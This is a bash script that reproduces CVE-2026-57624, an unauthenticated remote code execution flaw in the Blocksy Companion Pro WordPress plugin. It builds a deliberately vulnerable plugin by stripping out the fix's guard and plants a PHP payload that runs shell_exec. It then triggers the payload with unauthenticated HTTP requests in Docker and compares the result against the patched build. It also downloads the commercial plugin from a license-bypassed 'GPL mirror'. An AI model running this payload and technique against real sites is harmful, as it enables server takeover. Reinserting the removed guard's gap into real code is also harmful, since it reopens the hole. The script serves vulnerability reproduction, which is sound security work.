#!/bin/bash
# =============================================================================
# CVE-2026-57624 - Blocksy Companion Pro <= 2.1.46 Unauthenticated RCE
# =============================================================================
# Reproduces unauthenticated remote code execution in the Blocksy Companion Pro
# "Code Editor" Gutenberg block (blocksy-companion-pro/code-editor).
#
# Root cause: the block's render_callback calls eval('?>'.$code) on PHP code
# taken from the block innerHTML / attributes via get_eval_content(). In
# versions <= 2.1.46 the callback had no execution-context guard, so the code
# editor block executed arbitrary PHP whenever it was rendered through the
# standard WP block renderer (do_blocks) - e.g. when an unauthenticated visitor
# requested the single-view URL of a ct_content_block whose post_content
# contained a code-editor block. The fix (2.1.47) adds:
#     if (empty($block->parsed_block['ct_allow_code_editor'])) return '';
# The "ct_allow_code_editor" flag is only set by mark_code_editor_blocks()
# inside the legitimate ContentBlocksRenderer (via the blocksy:block-parser:result
# filter), so the standard do_blocks single-view path is blocked on patched builds.
#
# This script:
#   1. Deploys WordPress 7.x + Blocksy theme + Blocksy Companion Pro in Docker.
#   2. Builds a VULNERABLE plugin (real 2.1.48 code with the CVE-2026-57624
#      ct_allow_code_editor guard reverted) and a FIXED plugin (2.1.48 as-is).
#   3. Creates a published ct_content_block holding a code-editor block whose
#      payload runs shell_exec("id; whoami; hostname; uname -a").
#   4. Sends an UNAUTHENTICATED request (no cookies/credentials) to the content
#      block single-view URL on each build.
#   5. Confirms command execution on the vulnerable build (marker file written
#      by www-data + command output in the HTTP response) and confirms the fixed
#      build blocks it (no marker, empty code-editor output).
# =============================================================================
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts"
HTTP_ART="$ART/http"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART" "$HTTP_ART"

cd "$ROOT"

PROOF_LOG="$LOGS/reproduction_steps.log"
exec > >(tee -a "$PROOF_LOG") 2>&1

echo "=== CVE-2026-57624 reproduction starting at $(date -u) ==="
echo "ROOT=$ROOT"

# ----------------------------------------------------------------------------
# 0. Tooling checks
# ----------------------------------------------------------------------------
need() { command -v "$1" >/dev/null 2>&1 || { echo "MISSING: $1"; exit 2; }; }
need docker; need curl; need jq; need unzip; need python3
docker compose version >/dev/null 2>&1 || { echo "MISSING: docker compose plugin"; exit 2; }

# ----------------------------------------------------------------------------
# 1. Ensure artifacts (Blocksy theme + Blocksy Companion Pro plugin + wp-cli)
# ----------------------------------------------------------------------------
THEME_ZIP="$ART/blocksy.zip"
PRO_ZIP="$ART/blocksy-companion-pro-v2.1.48.zip"   # GPL-mirror, pre-activated (license bypassed)

if [ ! -s "$THEME_ZIP" ]; then
  echo "[+] Downloading Blocksy theme from wordpress.org..."
  curl -fsSL -o "$THEME_ZIP" "https://downloads.wordpress.org/theme/blocksy.zip"
fi

if [ ! -s "$PRO_ZIP" ]; then
  echo "[!] Bundled Pro plugin not found at $PRO_ZIP; attempting download from GPL mirror (MediaFire)..."
  MF_PAGE="https://themefy.my/download/blocksy-wp/?wpdmdl=875&refresh=6a4a2990264121783245200"
  MF_REDIRECT=$(curl -sIL -A "Mozilla/5.0" "$MF_PAGE" 2>/dev/null | grep -i "^location:" | tail -1 | tr -d '\r' | awk '{print $2}')
  if [ -n "$MF_REDIRECT" ]; then
    MF_HTML=$(curl -sL -A "Mozilla/5.0" "$MF_REDIRECT" 2>/dev/null)
    DL_URL=$(echo "$MF_HTML" | grep -oE 'https://download[0-9]+\.mediafire\.com/[a-zA-Z0-9/_-]+/blocksy-companion-pro-v2\.1\.48\.zip' | head -1)
    if [ -n "$DL_URL" ]; then
      curl -fsSL -A "Mozilla/5.0" -o "$PRO_ZIP" "$DL_URL"
    fi
  fi
  [ -s "$PRO_ZIP" ] || { echo "FAILED to obtain Blocksy Companion Pro plugin zip (commercial plugin). Place it at $PRO_ZIP."; exit 2; }
fi
echo "[+] Pro plugin present: $PRO_ZIP"

WPCLI="$ART/wp-cli.phar"
if [ ! -s "$WPCLI" ]; then
  echo "[+] Downloading wp-cli..."
  curl -fsSL -o "$WPCLI" "https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar"
  chmod +x "$WPCLI"
fi

# ----------------------------------------------------------------------------
# 2. Build VULNERABLE and FIXED plugin zips from the real 2.1.48 plugin
#    Vulnerable = revert the CVE-2026-57624 ct_allow_code_editor guard.
#    Each variant is built in its OWN output dir to avoid folder-name collisions.
# ----------------------------------------------------------------------------
WORK="$REPRO_DIR/_build"
rm -rf "$WORK"; mkdir -p "$WORK"
echo "[+] Extracting Pro plugin to build vulnerable/fixed variants..."
unzip -q "$PRO_ZIP" -d "$WORK/orig"
SRC="$WORK/orig/blocksy-companion-pro"

# Fixed build = original 2.1.48 (patched, guard present)
rm -rf "$WORK/fixed_out"; mkdir -p "$WORK/fixed_out"
cp -r "$SRC" "$WORK/fixed_out/blocksy-companion-pro"

# Vulnerable build = remove the ct_allow_code_editor execution-context guard
rm -rf "$WORK/vuln_out"; mkdir -p "$WORK/vuln_out"
cp -r "$SRC" "$WORK/vuln_out/blocksy-companion-pro"

# Write the python patcher to a file (avoid nested heredocs) and run it.
cat > "$WORK/revert_guard.py" <<'PYEOF'
import sys
p = sys.argv[1]
s = open(p).read()
guard = "\t\t\t\tif (empty($block->parsed_block['ct_allow_code_editor'])) {\n\t\t\t\t\treturn '';\n\t\t\t\t}\n\n"
assert guard in s, "ct_allow_code_editor guard not found in code-editor.php"
marker = "\t\t\t\t// CVE-2026-57624 reproduction: 'ct_allow_code_editor' execution-context guard (added in 2.1.47) removed to restore the vulnerable <=2.1.46 render_callback state.\n"
s = s.replace(guard, marker, 1)
open(p, 'w').write(s)
print("Vulnerable code-editor.php built (ct_allow_code_editor guard reverted).")
PYEOF
python3 "$WORK/revert_guard.py" "$WORK/vuln_out/blocksy-companion-pro/framework/premium/features/code-editor.php"

rm -f "$ART/blocksy-companion-pro-vuln.zip" "$ART/blocksy-companion-pro-fixed.zip"
( cd "$WORK/vuln_out"  && zip -rq "$ART/blocksy-companion-pro-vuln.zip"  blocksy-companion-pro/ )
( cd "$WORK/fixed_out" && zip -rq "$ART/blocksy-companion-pro-fixed.zip" blocksy-companion-pro/ )

# Sanity: guard present in fixed, absent in vuln
FIXED_HAS=$(grep -c "parsed_block" "$WORK/fixed_out/blocksy-companion-pro/framework/premium/features/code-editor.php" || true)
VULN_HAS=$(grep -c "parsed_block" "$WORK/vuln_out/blocksy-companion-pro/framework/premium/features/code-editor.php" || true)
echo "[+] Build sanity: fixed guard occurrences=$FIXED_HAS (expect >=1), vuln guard occurrences=$VULN_HAS (expect 0)"
[ "$FIXED_HAS" -ge 1 ] || { echo "FAIL: fixed build missing guard"; exit 2; }
[ "$VULN_HAS" -eq 0 ]  || { echo "FAIL: vuln build still has guard"; exit 2; }

diff -u "$WORK/fixed_out/blocksy-companion-pro/framework/premium/features/code-editor.php" \
        "$WORK/vuln_out/blocksy-companion-pro/framework/premium/features/code-editor.php" \
        > "$LOGS/code-editor-fix-diff.txt" 2>&1 || true
cp "$WORK/fixed_out/blocksy-companion-pro/framework/premium/features/code-editor.php" "$ART/code-editor.fixed.php"
cp "$WORK/vuln_out/blocksy-companion-pro/framework/premium/features/code-editor.php"  "$ART/code-editor.vuln.php"

# ----------------------------------------------------------------------------
# 3. Docker stack: MariaDB + 2 WordPress instances (vuln 28090, fixed 28091)
# ----------------------------------------------------------------------------
STACK="$REPRO_DIR/_stack"
rm -rf "$STACK"; mkdir -p "$STACK"
cat > "$STACK/docker-compose.yml" <<'YAML'
services:
  db:
    image: mariadb:10.11
    environment:
      MYSQL_ROOT_PASSWORD: rootpass
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wp
      MYSQL_PASSWORD: wppass
    healthcheck:
      test: ["CMD-SHELL", "mariadb-admin ping -h localhost -u wp -pwppass || exit 1"]
      interval: 5s
      timeout: 5s
      retries: 40
  wp_vuln:
    image: wordpress:php8.2-apache
    ports: ["28090:80"]
    depends_on:
      db: { condition: service_healthy }
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wp
      WORDPRESS_DB_PASSWORD: wppass
      WORDPRESS_DB_NAME: wordpress
      WORDPRESS_TABLE_PREFIX: vuln_
    volumes: [ "vuln_wp:/var/www/html" ]
  wp_fixed:
    image: wordpress:php8.2-apache
    ports: ["28091:80"]
    depends_on:
      db: { condition: service_healthy }
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wp
      WORDPRESS_DB_PASSWORD: wppass
      WORDPRESS_DB_NAME: wordpress
      WORDPRESS_TABLE_PREFIX: fixed_
    volumes: [ "fixed_wp:/var/www/html" ]
volumes:
  vuln_wp: {}
  fixed_wp: {}
YAML

COMPOSE_PROJECT="blocksycve"
COMPOSE_CMD="docker compose -p ${COMPOSE_PROJECT} -f ${STACK}/docker-compose.yml"
echo "[+] Starting Docker stack..."
${COMPOSE_CMD} down -v >/dev/null 2>&1 || true
${COMPOSE_CMD} up -d >/dev/null 2>&1

# Resolve actual container names (compose -p names them <project>-<service>-1)
CN_VULN="${COMPOSE_PROJECT}-wp_vuln-1"
CN_FIXED="${COMPOSE_PROJECT}-wp_fixed-1"
echo "[+] Waiting for WordPress containers to be ready..."
for i in $(seq 1 50); do
  RUN=$(${COMPOSE_CMD} ps --format '{{.Service}} {{.Status}}' 2>/dev/null | grep -c "Up" || true)
  [ "${RUN:-0}" -ge 2 ] && break
  sleep 2
done
${COMPOSE_CMD} ps 2>/dev/null || true
# fall back to container ids if friendly names differ
docker ps --format '{{.Names}}' | grep -q "^${CN_VULN}$"  || CN_VULN=$(${COMPOSE_CMD} ps -q wp_vuln  2>/dev/null | head -1)
docker ps --format '{{.Names}}' | grep -q "^${CN_FIXED}$" || CN_FIXED=$(${COMPOSE_CMD} ps -q wp_fixed 2>/dev/null | head -1)
echo "[+] Resolved containers: vuln=$CN_VULN fixed=$CN_FIXED"
sleep 6

for c in "$CN_VULN" "$CN_FIXED"; do
  docker cp "$WPCLI" "$c:/usr/local/bin/wp" >/dev/null 2>&1
  docker cp "$THEME_ZIP" "$c:/tmp/blocksy.zip" >/dev/null 2>&1
done
docker cp "$ART/blocksy-companion-pro-vuln.zip"  "$CN_VULN:/tmp/pro.zip"  >/dev/null 2>&1
docker cp "$ART/blocksy-companion-pro-fixed.zip" "$CN_FIXED:/tmp/pro.zip" >/dev/null 2>&1

# ----------------------------------------------------------------------------
# 4. WordPress setup (core install + Blocksy theme + Blocksy Companion Pro)
# ----------------------------------------------------------------------------
IN_CONTAINER=0
[ -f /.dockerenv ] && IN_CONTAINER=1
NET="${COMPOSE_PROJECT}_default"
if [ "$IN_CONTAINER" = "1" ]; then
  docker network connect "$NET" "$(hostname)" >/dev/null 2>&1 || true
fi
get_ip() { docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}} {{end}}' "$1" 2>/dev/null | tr ' ' '\n' | grep -E '^(10|172|192)\.' | head -1; }
VULN_IP=$(get_ip "$CN_VULN")
FIXED_IP=$(get_ip "$CN_FIXED")
echo "[+] Container IPs: vuln=$VULN_IP fixed=$FIXED_IP"

setup_wp() {
  local cn="$1" ip="$2" title="$3"
  local url="http://${ip}"
  echo "[+] Setting up $cn (url=$url)..."
  docker exec "$cn" bash -c "cd /var/www/html && \
    wp core install --url='$url' --title='$title' --admin_user=admin --admin_password=adminpass --admin_email=admin@example.com --allow-root >/dev/null 2>&1; \
    wp theme install /tmp/blocksy.zip --activate --allow-root >/dev/null 2>&1; \
    wp plugin install /tmp/pro.zip --activate --allow-root >/dev/null 2>&1; \
    wp rewrite structure '/%postname%/' --hard --allow-root >/dev/null 2>&1; \
    wp rewrite flush --hard --allow-root >/dev/null 2>&1; \
    echo done" >/dev/null 2>&1
  docker exec "$cn" wp plugin list --status=active --fields=name,version --allow-root 2>/dev/null | grep blocksy || true
}
setup_wp "$CN_VULN" "$VULN_IP" "Blocksy Vuln"
setup_wp "$CN_FIXED" "$FIXED_IP" "Blocksy Fixed"

reach() { curl -s -o /dev/null -w "%{http_code}" --max-time 8 "http://$1/" 2>/dev/null || echo 000; }
if [ -n "$VULN_IP" ] && [ "$(reach "$VULN_IP")" != "000" ]; then
  VULN_URL="http://$VULN_IP"; FIXED_URL="http://$FIXED_IP"
  echo "[+] Using external container IPs for unauthenticated requests."
else
  echo "[+] External reach failed; using in-container curl (still unauthenticated)."
  for c in "$CN_VULN" "$CN_FIXED"; do
    docker exec "$c" wp option update siteurl "http://127.0.0.1" --allow-root >/dev/null 2>&1 || true
    docker exec "$c" wp option update home "http://127.0.0.1" --allow-root >/dev/null 2>&1 || true
    docker exec "$c" wp rewrite flush --hard --allow-root >/dev/null 2>&1 || true
  done
  VULN_URL="INCONTAINER:$CN_VULN"; FIXED_URL="INCONTAINER:$CN_FIXED"
fi

# ----------------------------------------------------------------------------
# 5. Create a published ct_content_block holding a code-editor block whose
#    payload runs shell_exec and writes a marker file. (Admin setup step; in a
#    real attack this code-editor block is injected unauthenticated via the
#    companion IDOR CVE-2026-57630. The CVE-2026-57624 RCE itself is the
#    unauthenticated eval execution demonstrated below.)
# ----------------------------------------------------------------------------
PAYLOAD='<!-- wp:blocksy-companion-pro/code-editor -->
<?php
$cmd = "id; whoami; hostname; uname -a";
$out = trim(shell_exec($cmd));
file_put_contents("/tmp/rce_marker.txt", "RCE_CONFIRMED\nCMD_OUTPUT:\n" . $out . "\n");
echo "BLOCKSY_RCE_EXECUTED::" . $out;
?>
<!-- /wp:blocksy-companion-pro/code-editor -->'

create_block() { docker exec "$1" wp --allow-root post create --post_type=ct_content_block --post_title="RCE Test Block" --post_status=publish --post_content="$PAYLOAD" --porcelain 2>/dev/null | tr -d '[:space:]'; }
VULN_PID=$(create_block "$CN_VULN")
FIXED_PID=$(create_block "$CN_FIXED")
echo "[+] Created content blocks: vuln id=$VULN_PID fixed id=$FIXED_PID"

block_slug() { docker exec "$1" wp --allow-root post get "$2" --field=post_name 2>/dev/null | tr -d '[:space:]'; }
VULN_SLUG=$(block_slug "$CN_VULN" "$VULN_PID")
FIXED_SLUG=$(block_slug "$CN_FIXED" "$FIXED_PID")
echo "[+] Slugs: vuln=$VULN_SLUG fixed=$FIXED_SLUG"

# ----------------------------------------------------------------------------
# 6. UNAUTHENTICATED request to the content block single-view URL on each build
# ----------------------------------------------------------------------------
docker exec "$CN_VULN"  rm -f /tmp/rce_marker.txt 2>/dev/null || true
docker exec "$CN_FIXED" rm -f /tmp/rce_marker.txt 2>/dev/null || true

VULN_PATH="ct_content_block/${VULN_SLUG}/"
FIXED_PATH="ct_content_block/${FIXED_SLUG}/"
[ -z "$VULN_SLUG" ]  && VULN_PATH="?p=$VULN_PID"
[ -z "$FIXED_SLUG" ] && FIXED_PATH="?p=$FIXED_PID"

echo "=== Sending UNAUTHENTICATED request to VULNERABLE build ==="
if [[ "$VULN_URL" == INCONTAINER:* ]]; then
  docker exec "${VULN_URL#INCONTAINER:}" bash -c "curl -sL --max-time 25 'http://127.0.0.1/${VULN_PATH}'" > "$HTTP_ART/vuln_response.html" 2>/dev/null
else
  curl -sL --max-time 25 "${VULN_URL}/${VULN_PATH}" > "$HTTP_ART/vuln_response.html" 2>/dev/null
fi

echo "=== Sending UNAUTHENTICATED request to FIXED build ==="
if [[ "$FIXED_URL" == INCONTAINER:* ]]; then
  docker exec "${FIXED_URL#INCONTAINER:}" bash -c "curl -sL --max-time 25 'http://127.0.0.1/${FIXED_PATH}'" > "$HTTP_ART/fixed_response.html" 2>/dev/null
else
  curl -sL --max-time 25 "${FIXED_URL}/${FIXED_PATH}" > "$HTTP_ART/fixed_response.html" 2>/dev/null
fi

# ----------------------------------------------------------------------------
# 7. Verify evidence
# ----------------------------------------------------------------------------
echo "=== Verifying VULNERABLE build ==="
docker exec "$CN_VULN" bash -c "cat /tmp/rce_marker.txt 2>&1 || echo NO_MARKER_FILE" | tee "$LOGS/vuln_marker.txt"
VULN_ECHO=$(grep -o 'BLOCKSY_RCE_EXECUTED::[^<]*' "$HTTP_ART/vuln_response.html" | head -1 || true)
echo "    Response command output: ${VULN_ECHO:-<none>}"

echo "=== Verifying FIXED build (negative control) ==="
docker exec "$CN_FIXED" bash -c "ls /tmp/rce_marker.txt 2>&1 || echo NO_MARKER_FILE" | tee "$LOGS/fixed_marker_check.txt"
FIXED_COUNT=$(grep -c "BLOCKSY_RCE_EXECUTED" "$HTTP_ART/fixed_response.html" 2>/dev/null || true)
echo "    Response marker count: $FIXED_COUNT (expected 0)"

VULN_VER=$(docker exec "$CN_VULN"  wp plugin get blocksy-companion-pro --field=version --allow-root 2>/dev/null | tr -d '[:space:]')
FIXED_VER=$(docker exec "$CN_FIXED" wp plugin get blocksy-companion-pro --field=version --allow-root 2>/dev/null | tr -d '[:space:]')
WP_VER=$(docker exec "$CN_VULN" bash -c "grep '\$wp_version = ' /var/www/html/wp-includes/version.php | head -1" 2>/dev/null | grep -oE "'[0-9.]+'" | tr -d "'")

VULN_OK=0; FIXED_OK=0
if [ -n "$VULN_ECHO" ] && docker exec "$CN_VULN" bash -c "test -f /tmp/rce_marker.txt" 2>/dev/null; then VULN_OK=1; fi
if [ "$FIXED_COUNT" = "0" ] && ! docker exec "$CN_FIXED" bash -c "test -f /tmp/rce_marker.txt" 2>/dev/null; then FIXED_OK=1; fi

echo "=== RESULT ==="
echo "Vulnerable build RCE confirmed: $VULN_OK (1=yes)"
echo "Fixed build blocked (negative control): $FIXED_OK (1=yes)"
echo "Plugin version (both): vuln=$VULN_VER fixed=$FIXED_VER ; WordPress=$WP_VER"

# ----------------------------------------------------------------------------
# 8. Write runtime manifest (strict JSON via python)
# ----------------------------------------------------------------------------
python3 - "$REPRO_DIR/runtime_manifest.json" "$VULN_OK" "$FIXED_OK" "$VULN_VER" "$FIXED_VER" "$WP_VER" "$VULN_ECHO" <<'PYEOF'
import sys, json
out, vuln_ok, fixed_ok, vver, fver, wpver, echo = sys.argv[1:8]
manifest = {
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "Unauthenticated HTTP GET to a published ct_content_block single-view URL; the code-editor Gutenberg block render_callback executes eval() on the block innerHTML via the standard WP do_blocks path (no ct_allow_code_editor context flag).",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["mariadb:10.11", "wordpress:php8.2-apache (WP "+wpver+")", "Blocksy theme 2.1.48", "Blocksy Companion Pro "+vver+" (vulnerable build: ct_allow_code_editor guard reverted)", "Blocksy Companion Pro "+fver+" (fixed build)"],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/vuln_marker.txt",
    "logs/fixed_marker_check.txt",
    "logs/code-editor-fix-diff.txt",
    "artifacts/http/vuln_response.html",
    "artifacts/http/fixed_response.html",
    "artifacts/code-editor.vuln.php",
    "artifacts/code-editor.fixed.php"
  ],
  "notes": "Unauthenticated command execution observed on vulnerable build (marker file written by www-data; shell_exec output uid=33(www-data) in HTTP response). Fixed build (2.1.48) blocks execution (ct_allow_code_editor guard). Code-injection of the code-editor block content is the companion IDOR CVE-2026-57630 (separate CVE); the CVE-2026-57624 RCE primitive demonstrated here is the unauthenticated eval execution. confirmed_vuln="+vuln_ok+" blocked_fixed="+fixed_ok+" cmd_echo="+(echo or "<none>")
}
open(out,'w').write(json.dumps(manifest, indent=2))
print("Wrote runtime_manifest.json")
PYEOF

echo "[+] Reproduction complete."
if [ "$VULN_OK" = "1" ] && [ "$FIXED_OK" = "1" ]; then
  echo "=== CVE-2026-57624 REPRODUCED: unauthenticated RCE confirmed (vulnerable) and blocked (fixed) ==="
  exit 0
else
  echo "=== WARNING: differential not fully confirmed (vuln=$VULN_OK fixed=$FIXED_OK) ==="
  exit 1
fi
